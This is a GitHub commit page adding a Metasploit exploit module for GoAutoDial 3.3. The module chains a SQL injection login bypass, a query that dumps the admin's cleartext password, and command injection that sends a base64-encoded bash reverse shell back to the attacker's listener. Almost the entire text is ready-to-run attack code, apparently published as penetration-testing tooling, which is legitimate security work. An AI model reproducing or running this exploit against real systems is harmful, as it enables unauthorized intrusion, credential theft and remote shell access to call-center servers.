Skip to content

Commit b34bf76

Browse files
committed
Adding GoAutoDial RCE module
1 parent 2617ae7 commit b34bf76

File tree

1 file changed

+142
-0
lines changed

1 file changed

+142
-0
lines changed
Lines changed: 142 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,142 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => "GoAutoDial 3.3 Authentication Bypass",
14+
'Description' => %q{
15+
This module exploits a SQL injection flaw in the login functionality
16+
for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with oOOT privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
17+
},
18+
'License' => MSF_LICENSE,
19+
'Author' =>
20+
[
21+
'Chris McCurley', # Discovery & Metasploit module
22+
],
23+
'References' =>
24+
[
25+
['CVE', '2015-2843'],
26+
['CVE', '2015-2845']
27+
],
28+
'Platform' => %w{ linux },
29+
'Targets' =>
30+
[
31+
['Automatic', {}]
32+
],
33+
'DefaultTarget' => 0,
34+
'Privileged' => false,
35+
'DisclosureDate' => "Apr 21 2015"))
36+
37+
register_options(
38+
[
39+
OptPort.new('RPORT', [true, 'The target port', 443]),
40+
OptBool.new('SSL', [false, 'Use SSL', true])
41+
])
42+
end
43+
44+
45+
def check
46+
res = check_version()
47+
if res and res.body =~ /1421902800/
48+
return Exploit::CheckCode::Safe
49+
else
50+
return Exploit::CheckCode::Vulnerable
51+
end
52+
end
53+
$
54+
def check_version()
55+
send_request_cgi({
56+
'method' => 'GET',
57+
'uri' => "/changelog.txt",
58+
'headers' => {
59+
'User-Agent' => 'Mozilla/5.0',
60+
'Accept-Encoding' => 'identity'
61+
}
62+
})
63+
end
64+
65+
def sqli_auth_bypass()
66+
67+
send_request_cgi({
68+
'method' => 'POST',
69+
'uri' => "/index.php/go_login/validate_credentials",
70+
'headers' =>$
71+
{
72+
'User-Agent' => 'Mozilla/5.0',
73+
'Accept-Encoding' => 'identity'
74+
},
75+
'vars_post' =>$
76+
{
77+
'user_name' => 'admin',
78+
'user_pass' => "' or '1'='1"
79+
}
80+
})
81+
end
82+
83+
def sqli_admin_pass(cookies)
84+
85+
send_request_cgi({
86+
'method' => 'GET',
87+
'uri' => "/index.php/go_site/go_get_user_info/'%20OR%20active='Y",
88+
'headers' =>$
89+
{
90+
'User-Agent' => 'Mozilla/5.0',
91+
'Accept-Encoding' => 'identity',
92+
'Cookie' => cookies
93+
}
94+
})
95+
end
96+
97+
def exec_command(cookies)
98+
payload = "bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1"
99+
encoded = "#{Rex::Text.encode_base64(payload)}"
100+
params = "||%20bash%20-c%20\"eval%20\`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\""
101+
102+
send_request_cgi({
103+
'method' => 'GET',
104+
'uri' => "/index.php/go_site/cpanel/"+ params,
105+
'headers' => {
106+
'User-Agent' => 'Mozilla/5.0',
107+
'Accept-Encoding' => 'identity',
108+
'Cookie' => cookies
109+
}
110+
})$
111+
end
112+
113+
#
114+
# Run the actual exploit
115+
#
116+
def run_it()
117+
print_status("#{rhost}:#{rport} - Trying SQL injection...")
118+
res1 = sqli_auth_bypass()
119+
120+
if res1 && res1.code == 200
121+
print_good("Authentication Bypass (SQLi) was successful")
122+
else$
123+
print_error("Error: Run 'check' command to identify whether the auth bypass has been fixed")
124+
end
125+
126+
print_status("#{rhost}:#{rport} - Dumping admin password...")
127+
res = sqli_admin_pass(res1.get_cookies)
128+
129+
if res
130+
print_good(res.body)
131+
else
132+
print_error("Error: No creds returned, possible mitigations in place.")
133+
end
134+
print_status("#{rhost}:#{rport} - Attempting reverse_tcp shell one-liner...wait for connection")
135+
exec_command(res1.get_cookies)
136+
end
137+
138+
139+
def exploit()
140+
run_it()
141+
end
142+
end

0 commit comments

Comments
 (0)